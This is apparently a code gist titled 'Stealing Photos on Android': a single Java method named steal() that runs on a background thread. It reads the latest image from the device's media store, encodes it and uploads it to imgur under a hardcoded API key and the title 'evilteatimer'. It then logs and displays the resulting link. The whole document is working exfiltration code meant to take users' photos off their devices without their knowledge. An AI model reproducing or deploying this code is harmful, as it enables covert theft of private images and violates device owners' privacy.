Stealing Photos on Android

gistfile1.java

private void steal()
{
         new Thread(new Runnable() {
                public void run() {
                    try{
                        Looper.prepare();
                    String[] filePathColumn = {MediaStore.Images.Media.DATA};

                      Cursor cursor = getContentResolver().query(MediaStore.Images.Media.EXTERNAL_CONTENT_URI, filePathColumn, null, null, null);
                      cursor.moveToLast();

                      int columnIndex = cursor.getColumnIndex(filePathColumn[0]);
                      String filePath = cursor.getString(columnIndex);
                      cursor.close();
                      
                    Log.v(TAG, "FilePath:" + filePath);
                    Bitmap bitmap = BitmapFactory.decodeFile(filePath);
                    bitmap = Bitmap.createScaledBitmap(bitmap, 480, 320, true);
                    // Creates Byte Array from picture
                    ByteArrayOutputStream baos = new ByteArrayOutputStream();
                    bitmap.compress(Bitmap.CompressFormat.PNG, 100, baos); // Not sure whether this should be jpeg or png, try both and see which works best
                    URL url = new URL("http://api.imgur.com/2/upload.json");

                    //encodes picture with Base64 and inserts api key
                    String data = URLEncoder.encode("image", "UTF-8") + "=" + URLEncoder.encode(Base64.encodeBytes(baos.toByteArray()).toString(), "UTF-8");
                    data += "&" + URLEncoder.encode("key", "UTF-8") + "=" + URLEncoder.encode("e7570f4de21f88793225d963c6cc4114", "UTF-8");
                    data += "&" + URLEncoder.encode("title", "UTF-8") + "=" + URLEncoder.encode("evilteatimer", "UTF-8");

                    // opens connection and sends data
                    URLConnection conn = url.openConnection();
                    conn.setDoOutput(true);
                    OutputStreamWriter wr = new OutputStreamWriter(conn.getOutputStream());
                    wr.write(data);
                    wr.flush();
                    
                    BufferedReader in = new BufferedReader(
                            new InputStreamReader(
                            conn.getInputStream()));
                    String jsonString = in.readLine();            
                    in.close();
                    
                    JSONObject json = new JSONObject(jsonString);
                    String imgUrl = json.getJSONObject("upload").getJSONObject("links").getString("imgur_page");
                    
                    Log.v(TAG, "Imgur link:" + imgUrl);
                    Context context = getApplicationContext();
                    mImgUrl = imgUrl;
                        Toast toast = Toast.makeText(context, imgUrl, Toast.LENGTH_LONG);
                        toast.show();
                } catch ( Exception exception ) {
                    Log.v(TAG, "Upload Failure:"+ exception.getMessage() );
                }
                }
              }).start();
}